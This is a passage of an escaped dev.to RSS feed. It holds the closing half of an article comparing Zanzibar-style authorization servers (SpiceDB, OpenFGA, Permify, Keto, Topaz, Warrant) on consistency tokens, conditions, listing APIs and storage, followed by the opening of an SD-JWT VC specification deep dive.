      &lt;span class="kc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;related&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;viewers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
      &lt;span class="kc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;related&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owners&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;related&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owners&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is not TypeScript you can run. It is a parse target that happens to type-check in your editor, which is either the best or the worst thing about it depending on whether your team will try to put an &lt;code&gt;if&lt;/code&gt; in there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Running both
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;run.sh&lt;/code&gt; in &lt;a href="https://github.com/0-draft/dev.to/tree/main/articles/assets/zanzibar-implementations-compared-2026"&gt;the assets directory&lt;/a&gt; starts &lt;code&gt;authzed/spicedb:v1.57.1&lt;/code&gt; and &lt;code&gt;openfga/openfga:v1.22.1&lt;/code&gt; with in-memory datastores, loads the two schemas above, writes the same tuples over HTTP, and asks both servers the same questions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;folder:eng#viewer@user:beto
document:readme#parent@folder:eng
document:readme#owner@user:anne
document:plan#viewer@user:chen[in_office]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-implementations-compared-2026%2Fdiagrams%2F02-tokens.png%3Fv%3D9b699341" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-implementations-compared-2026%2Fdiagrams%2F02-tokens.png%3Fv%3D9b699341" alt="Grid of the five steps of run.sh with SpiceDB's and OpenFGA's actual responses side by side, colored by whether each server could answer the question" width="760" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The interesting rows are 1, 4 and 5.&lt;/p&gt;

&lt;h3&gt;
  
  
  Row 1 and 4: the token
&lt;/h3&gt;

&lt;p&gt;SpiceDB's &lt;code&gt;WriteRelationships&lt;/code&gt; response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"writtenAt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Gh8KEzE3OTQ2OTQxODIwNDI1MTQ0OTESCDUxMzE4Nzdh"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpenFGA's &lt;code&gt;POST /stores/{id}/write&lt;/code&gt; response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After removing Beto from &lt;code&gt;folder:eng&lt;/code&gt;, SpiceDB with &lt;code&gt;fullyConsistent&lt;/code&gt; says &lt;code&gt;PERMISSIONSHIP_NO_PERMISSION&lt;/code&gt;, and the same check with &lt;code&gt;atExactSnapshot&lt;/code&gt; set to the token from the first write says &lt;code&gt;PERMISSIONSHIP_HAS_PERMISSION&lt;/code&gt;. The ZedToken names a point in the datastore's history and you can evaluate at it. That is what makes the paper's "store the zookie next to the content version" pattern work: a document saved before an ACL tightened can be checked against the ACL that was in force when it was saved, and a document saved after can demand at least that fresh.&lt;/p&gt;

&lt;p&gt;SpiceDB's four modes are &lt;code&gt;minimize_latency&lt;/code&gt; (default for checks and lookups), &lt;code&gt;at_least_as_fresh&lt;/code&gt;, &lt;code&gt;at_exact_snapshot&lt;/code&gt; and &lt;code&gt;fully_consistent&lt;/code&gt;. The catch with the default: reads are served at a revision quantized to &lt;code&gt;--datastore-revision-quantization-interval&lt;/code&gt;, which defaults to &lt;code&gt;5s&lt;/code&gt; (from &lt;code&gt;spicedb serve --help&lt;/code&gt;), so &lt;code&gt;minimize_latency&lt;/code&gt; can be a few seconds behind your own write. Send the token back with &lt;code&gt;at_least_as_fresh&lt;/code&gt; on the request that follows a write.&lt;/p&gt;

&lt;p&gt;OpenFGA's &lt;a href="https://openfga.dev/docs/interacting/consistency" rel="noopener noreferrer"&gt;consistency page&lt;/a&gt; is upfront: zookies are not implemented and "OpenFGA is considering a similar feature in future releases". It offers &lt;code&gt;MINIMIZE_LATENCY&lt;/code&gt; (default) and &lt;code&gt;HIGHER_CONSISTENCY&lt;/code&gt;. The detail people miss: "OpenFGA caching is disabled by default", and with caching off both modes read the database directly. The staleness only appears when you turn on &lt;code&gt;--check-query-cache-enabled&lt;/code&gt;, whose help text says it "turns Check and ListObjects into eventually consistent APIs" with a default TTL of &lt;code&gt;10s&lt;/code&gt;. So out of the box OpenFGA is consistent and slower; tune it and you get a 10-second window with no token to close it except &lt;code&gt;HIGHER_CONSISTENCY&lt;/code&gt; on every request that matters.&lt;/p&gt;

&lt;p&gt;The rest:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Token&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Permify&lt;/td&gt;
&lt;td&gt;Snap Token&lt;/td&gt;
&lt;td&gt;Returned by Write; send it as &lt;code&gt;snap_token&lt;/code&gt; on Check for "at least as fresh". Without one, the latest transaction id is used and doubles as a cache key (&lt;a href="https://fusionauth.io/permify-docs/operations/snap-tokens" rel="noopener noreferrer"&gt;docs&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ory Keto&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;snaptoken&lt;/code&gt; field&lt;/td&gt;
&lt;td&gt;Every occurrence in &lt;code&gt;check_service.proto&lt;/code&gt; says "This field is not implemented yet and has no effect."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Topaz&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;No token field in the v3 reader API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Warrant&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Warrant-Token&lt;/code&gt; header&lt;/td&gt;
&lt;td&gt;The OSS middleware only recognises the literal &lt;code&gt;latest&lt;/code&gt;, which routes the read to the primary (&lt;a href="https://github.com/warrant-dev/warrant/blob/main/pkg/wookie/wookie.go" rel="noopener noreferrer"&gt;&lt;code&gt;wookie.go&lt;/code&gt;&lt;/a&gt;). The server never returns a token to carry&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If your application has the paper's new-enemy shape (remove a user, then add sensitive content, and the removed user must never see it), SpiceDB and Permify let you enforce it per request. With the others you either read at highest consistency or accept the cache window.&lt;/p&gt;

&lt;h3&gt;
  
  
  Row 5: a condition without its context
&lt;/h3&gt;

&lt;p&gt;Both servers store Chen's grant with the &lt;code&gt;in_office&lt;/code&gt; condition and expect &lt;code&gt;ip&lt;/code&gt; at check time. When it is missing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"permissionship"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"PERMISSIONSHIP_CONDITIONAL_PERMISSION"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="nl"&gt;"partialCaveatInfo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"missingRequiredContext"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"ip"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"validation_error"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"failed to evaluate relationship condition: 'in_office' - tuple 'document:plan#viewer@user:chen' is missing context parameters '[ip]'"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SpiceDB returns a third answer and tells you which fields would decide it. OpenFGA fails the request. Neither is wrong, but code that does &lt;code&gt;if resp.permissionship == HAS_PERMISSION&lt;/code&gt; treats SpiceDB's conditional as a deny, and code that does &lt;code&gt;if err != nil { deny }&lt;/code&gt; treats OpenFGA's error as a deny too, so both fail closed by accident. Write the branch on purpose.&lt;/p&gt;

&lt;p&gt;Permify does conditions differently: an &lt;code&gt;attribute&lt;/code&gt; stored on the entity and a &lt;code&gt;rule&lt;/code&gt; called from a permission, both evaluated with CEL-like expressions. OpenFGA also has contextual tuples, which are per-request edges that are never stored; useful for "the caller is on network:office" facts that your gateway knows and your tuple store should not. Keto, Topaz (outside its Rego policies) and Warrant's OSS server have nothing in the paper's tuple that holds a condition.&lt;/p&gt;

&lt;h2&gt;
  
  
  "Which documents can Anne see?"
&lt;/h2&gt;

&lt;p&gt;Check walks out from one object. A list page asks the reverse, with filtering, sorting and pagination that only your database can do. The paper does not ship this API: Expand returns a tree, and Leopard is an internal index for flattening nested groups, not a listing endpoint. Every project had to decide what to offer here, and the answer decides your list endpoints more than the schema language does.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-implementations-compared-2026%2Fdiagrams%2F03-listing.png%3Fv%3D33051241" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-implementations-compared-2026%2Fdiagrams%2F03-listing.png%3Fv%3D33051241" alt="Decision flow for a permission-aware list page: lookup-then-filter when the accessible set is small, query-then-bulk-check when the user sees a high share of candidates, and a Watch-fed index otherwise, with each project's API for each approach" width="760" height="660"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The limits in the first diamond are the vendors' own:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SpiceDB &lt;code&gt;LookupResources&lt;/code&gt; streams with a cursor, but "it's a heavy request that can cause performance problems when more than 10k results are involved" (&lt;a href="https://authzed.com/docs/spicedb/concepts/querying-data" rel="noopener noreferrer"&gt;Querying Data&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;OpenFGA &lt;code&gt;ListObjects&lt;/code&gt; and &lt;code&gt;ListUsers&lt;/code&gt; stop at &lt;code&gt;listObjectsDeadline&lt;/code&gt; / &lt;code&gt;listUsersDeadline&lt;/code&gt; (default &lt;code&gt;3s&lt;/code&gt;) or &lt;code&gt;listObjectsMaxResults&lt;/code&gt; / &lt;code&gt;listUsersMaxResults&lt;/code&gt; (default &lt;code&gt;1000&lt;/code&gt;), whichever comes first (&lt;a href="https://openfga.dev/docs/interacting/relationship-queries" rel="noopener noreferrer"&gt;Relationship Queries&lt;/a&gt;). A truncated list cannot be sorted correctly, so a 1000-item cap is a correctness limit for list pages, not just a performance one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the script, both returned the same answers: &lt;code&gt;LookupResources&lt;/code&gt; and &lt;code&gt;list-objects&lt;/code&gt; gave &lt;code&gt;readme&lt;/code&gt; for Beto, &lt;code&gt;LookupSubjects&lt;/code&gt; and &lt;code&gt;list-users&lt;/code&gt; gave &lt;code&gt;anne&lt;/code&gt; and &lt;code&gt;beto&lt;/code&gt; for the readme.&lt;/p&gt;

&lt;p&gt;Keto is the gap. Its v1alpha2 protos define &lt;code&gt;Check&lt;/code&gt;, &lt;code&gt;BatchCheck&lt;/code&gt;, &lt;code&gt;Expand&lt;/code&gt;, &lt;code&gt;ListRelationTuples&lt;/code&gt;, &lt;code&gt;TransactRelationTuples&lt;/code&gt;, &lt;code&gt;DeleteRelationTuples&lt;/code&gt; and &lt;code&gt;ListNamespaces&lt;/code&gt;, and nothing that answers "objects this subject can reach". You can only list stored tuples or expand a tree from an object.&lt;/p&gt;

&lt;p&gt;The third approach, an index next to your data kept current from a change stream, is the one the paper has in mind when it says Watch lets clients "maintain secondary indices". That requires a stream. SpiceDB and Permify have a &lt;code&gt;Watch&lt;/code&gt; stream; OpenFGA has &lt;code&gt;ReadChanges&lt;/code&gt;, which you poll with a continuation token; Keto, Topaz and Warrant have no change feed in their protos or routes, so the only way to build an index is to dual-write from your application and hope the two never disagree.&lt;/p&gt;

&lt;p&gt;The only Leopard-like product is AuthZed Materialize, which "takes inspiration from the Leopard index component described in the Zanzibar paper". It is available only on AuthZed Dedicated, and its Event Streams feature (push precomputed permission changes into your own database) is in early access. Nothing else in the list documents a precomputed group index.&lt;/p&gt;

&lt;h2&gt;
  
  
  Storage and topology
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Datastores&lt;/th&gt;
&lt;th&gt;Shape&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SpiceDB&lt;/td&gt;
&lt;td&gt;CockroachDB, Cloud Spanner, PostgreSQL, MySQL ("only use if you cannot use PostgreSQL"), memdb (dev)&lt;/td&gt;
&lt;td&gt;Peers dispatch sub-problems to each other over a consistent-hash ring so each sub-check is cached on one node&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenFGA&lt;/td&gt;
&lt;td&gt;memory (the default), PostgreSQL, MySQL, SQLite&lt;/td&gt;
&lt;td&gt;Stateless API servers on one SQL database, optional read replica; per-node caches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permify&lt;/td&gt;
&lt;td&gt;PostgreSQL, memory&lt;/td&gt;
&lt;td&gt;Servers on PostgreSQL MVCC snapshots; a per-pod cache keyed by snapshot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ory Keto&lt;/td&gt;
&lt;td&gt;PostgreSQL, MySQL, CockroachDB, SQLite (not for production)&lt;/td&gt;
&lt;td&gt;Stateless containers with separate read and write ports on one SQL database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Topaz&lt;/td&gt;
&lt;td&gt;Embedded BoltDB&lt;/td&gt;
&lt;td&gt;Sidecar or microservice next to the app; Rego policies call into the local directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Warrant&lt;/td&gt;
&lt;td&gt;MySQL, PostgreSQL, SQLite&lt;/td&gt;
&lt;td&gt;One Go HTTP service on one SQL database&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two things worth knowing before you pick:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OpenFGA's default &lt;code&gt;--datastore-engine&lt;/code&gt; is &lt;code&gt;memory&lt;/code&gt;. Data "is lost between server restarts". The quick-start works and then forgets everything; set &lt;code&gt;postgres&lt;/code&gt; before anyone depends on it.&lt;/li&gt;
&lt;li&gt;SpiceDB's datastore page notes that on CockroachDB, &lt;code&gt;fully_consistent&lt;/code&gt; does not guarantee read-after-write. If you need that guarantee there, use the ZedToken from the write with &lt;code&gt;at_least_as_fresh&lt;/code&gt;, which is the paper's model anyway.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Topaz is the architectural outlier. With an embedded BoltDB per instance, it is closer to OPA with a relationship store than to a central Zanzibar service. That is a good fit for a sidecar that decides locally and a poor fit for a single global source of truth with snapshot reads.&lt;/p&gt;

&lt;h2&gt;
  
  
  In-house: Himeji and Carta
&lt;/h2&gt;

&lt;p&gt;Two companies published how they built their own in 2021. Airbnb's Himeji uses &lt;code&gt;entity # relation @ principal&lt;/code&gt; tuples on sharded Amazon Aurora instead of Spanner, fans out on write rather than read, and targets a ~98% cache hit rate across consistent-hashed shards; InfoQ reports 99.999% availability, 12 ms at p99, and throughput going from 0 in March 2020 to 850k entities/sec a year later. Carta's AuthZ keeps a precomputed actor and object index that its author maps to Leopard's two set types, and issues a "Ticket", described as synonymous with a zookie, on each write so callers can wait for the async index to catch up.&lt;/p&gt;

&lt;p&gt;The pattern in both: the team that builds its own ends up implementing the two pieces the OSS projects mostly skip, a Leopard-style index and a write token. If you need both at scale and do not want AuthZed Dedicated, that is the bill.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I would pick
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;You need the new-enemy guarantee per request:&lt;/strong&gt; SpiceDB. Permify if AGPL is acceptable to your legal team.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You need foundation governance and Apache-2.0 more than snapshot tokens:&lt;/strong&gt; OpenFGA. Leave caching off until you have measured, and know that &lt;code&gt;ListObjects&lt;/code&gt; is for small collections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You already run OPA and want relationships as data for Rego:&lt;/strong&gt; Topaz, knowing its steward is now a group of maintainers rather than a company.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You already run the Ory stack:&lt;/strong&gt; Keto works for check-only workloads. Plan list endpoints around the missing reverse lookup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Warrant:&lt;/strong&gt; only if you are moving to WorkOS FGA anyway.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Run &lt;code&gt;run.sh&lt;/code&gt; against whichever two you are torn between, swap in your own model, and look at what the write returns.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Pang et al., &lt;a href="https://www.usenix.org/conference/atc19/presentation/pang" rel="noopener noreferrer"&gt;Zanzibar: Google's Consistent, Global Authorization System&lt;/a&gt;, USENIX ATC '19, §2.2, §2.4, §3.2.4&lt;/li&gt;
&lt;li&gt;SpiceDB: &lt;a href="https://authzed.com/docs/spicedb/concepts/schema" rel="noopener noreferrer"&gt;schema&lt;/a&gt;, &lt;a href="https://authzed.com/docs/spicedb/concepts/consistency" rel="noopener noreferrer"&gt;consistency&lt;/a&gt;, &lt;a href="https://authzed.com/docs/spicedb/concepts/caveats" rel="noopener noreferrer"&gt;caveats&lt;/a&gt;, &lt;a href="https://authzed.com/docs/spicedb/concepts/datastores" rel="noopener noreferrer"&gt;datastores&lt;/a&gt;, &lt;a href="https://authzed.com/docs/spicedb/concepts/querying-data" rel="noopener noreferrer"&gt;querying data&lt;/a&gt;, &lt;a href="https://authzed.com/docs/materialize/getting-started/overview" rel="noopener noreferrer"&gt;Materialize&lt;/a&gt;, &lt;a href="https://github.com/authzed/api/blob/main/authzed/api/v1/permission_service.proto" rel="noopener noreferrer"&gt;&lt;code&gt;permission_service.proto&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;OpenFGA: &lt;a href="https://openfga.dev/docs/interacting/consistency" rel="noopener noreferrer"&gt;consistency&lt;/a&gt;, &lt;a href="https://openfga.dev/docs/modeling/conditions" rel="noopener noreferrer"&gt;conditions&lt;/a&gt;, &lt;a href="https://openfga.dev/docs/interacting/relationship-queries" rel="noopener noreferrer"&gt;relationship queries&lt;/a&gt;, &lt;a href="https://openfga.dev/docs/getting-started/setup-openfga/configure-openfga" rel="noopener noreferrer"&gt;configure OpenFGA&lt;/a&gt;, &lt;a href="https://github.com/openfga/api/blob/main/openfga/v1/openfga_service.proto" rel="noopener noreferrer"&gt;&lt;code&gt;openfga_service.proto&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://www.cncf.io/blog/2025/11/11/openfga-becomes-a-cncf-incubating-project/" rel="noopener noreferrer"&gt;CNCF incubation announcement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Permify: &lt;a href="https://fusionauth.io/permify-docs/operations/snap-tokens" rel="noopener noreferrer"&gt;snap tokens&lt;/a&gt;, &lt;a href="https://github.com/Permify/permify/blob/master/proto/base/v1/service.proto" rel="noopener noreferrer"&gt;&lt;code&gt;service.proto&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://permify.co/post/fusionauth-acquires-permify/" rel="noopener noreferrer"&gt;acquisition post&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Ory Keto: &lt;a href="https://www.ory.com/docs/keto/reference/ory-permission-language" rel="noopener noreferrer"&gt;Ory Permission Language&lt;/a&gt;, &lt;a href="https://github.com/ory/keto/blob/master/proto/ory/keto/relation_tuples/v1alpha2/check_service.proto" rel="noopener noreferrer"&gt;&lt;code&gt;check_service.proto&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Topaz: &lt;a href="https://www.topaz.sh/docs/architecture" rel="noopener noreferrer"&gt;architecture&lt;/a&gt;, &lt;a href="https://www.topaz.sh/docs/directory/manifest-reference" rel="noopener noreferrer"&gt;manifest reference&lt;/a&gt;, &lt;a href="https://github.com/aserto-dev/go-directory/blob/main/proto/aserto/directory/reader/v3/reader.proto" rel="noopener noreferrer"&gt;&lt;code&gt;reader.proto&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://www.aserto.com/blog/the-final-chapter-for-aserto" rel="noopener noreferrer"&gt;Aserto, "The final chapter"&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Warrant: &lt;a href="https://github.com/warrant-dev/warrant" rel="noopener noreferrer"&gt;repository and README&lt;/a&gt;, &lt;a href="https://github.com/warrant-dev/warrant/blob/main/pkg/wookie/wookie.go" rel="noopener noreferrer"&gt;&lt;code&gt;wookie.go&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.infoq.com/news/2021/05/airbnb-himeji" rel="noopener noreferrer"&gt;InfoQ on Airbnb Himeji&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>authorization</category>
      <category>security</category>
      <category>architecture</category>
      <category>opensource</category>
    </item>
    <item>
      <title>SD-JWT VC Deep Dive: vct, Issuer Keys, Type Metadata, and the URLs a Credential Makes You Fetch</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:24:57 +0000</pubDate>
      <link>https://dev.to/kanywst/sd-jwt-vc-deep-dive-vct-issuer-keys-type-metadata-and-the-urls-a-credential-makes-you-fetch-3igm</link>
      <guid>https://dev.to/kanywst/sd-jwt-vc-deep-dive-vct-issuer-keys-type-metadata-and-the-urls-a-credential-makes-you-fetch-3igm</guid>
      <description>&lt;p&gt;I started reading SD-JWT VC as a token format and finished reading it as an HTTP client spec. A received credential carries an &lt;code&gt;iss&lt;/code&gt; URL, a &lt;code&gt;vct&lt;/code&gt; URL, and through Type Metadata an open-ended chain of &lt;code&gt;extends&lt;/code&gt; URLs plus logos, background images and SVG templates. The verifier is expected to fetch some of those. Whoever built the credential chose every one of those URLs, and with the metadata mechanism the first fetch happens before the signature can even be checked.&lt;/p&gt;

&lt;p&gt;The other surprise was the pace. My notes were written against -23 on 4 November 2026. By 6 November the draft was at -26, and two of the open questions in those notes had been answered in the text. Everything below is checked against -26 (Datatracker and the &lt;a href="https://github.com/oauth-wg/oauth-sd-jwt-vc" rel="noopener noreferrer"&gt;oauth-wg/oauth-sd-jwt-vc&lt;/a&gt; source at commit &lt;code&gt;d167baa&lt;/code&gt;) and &lt;a href="https://www.rfc-editor.org/rfc/rfc9901" rel="noopener noreferrer"&gt;RFC 9901&lt;/a&gt; on 15 November 2026. Section numbers are -26's.&lt;/p&gt;

&lt;p&gt;Full notes, interop checklist and ballot tracking: &lt;a href="https://0-draft.github.io/identity-deep-dive/oauth-wg/deep-dives/draft-ietf-oauth-sd-jwt-vc/" rel="noopener noreferrer"&gt;identity-deep-dive: draft-ietf-oauth-sd-jwt-vc&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the draft adds to RFC 9901
&lt;/h2&gt;

&lt;p&gt;RFC 9901 tells you how to hide a claim behind a salted digest and how a Holder proves possession with a KB-JWT. It says nothing about which claims a credential has or what they mean (draft Section 1.2). SD-JWT VC fills that gap:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Addition&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;typ: dc+sd-jwt&lt;/code&gt;, &lt;code&gt;application/dc+sd-jwt&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2.1, 2.2.1&lt;/td&gt;
&lt;td&gt;Explicit type. The old &lt;code&gt;vc+sd-jwt&lt;/code&gt; transition note was dropped in -19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vct&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2.2.2.1&lt;/td&gt;
&lt;td&gt;Credential type, a case-sensitive Collision-Resistant Name, REQUIRED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;aka_vcts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2.2.2.2&lt;/td&gt;
&lt;td&gt;Other types this credential also is&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claims that can never be hidden&lt;/td&gt;
&lt;td&gt;2.2.2.3&lt;/td&gt;
&lt;td&gt;
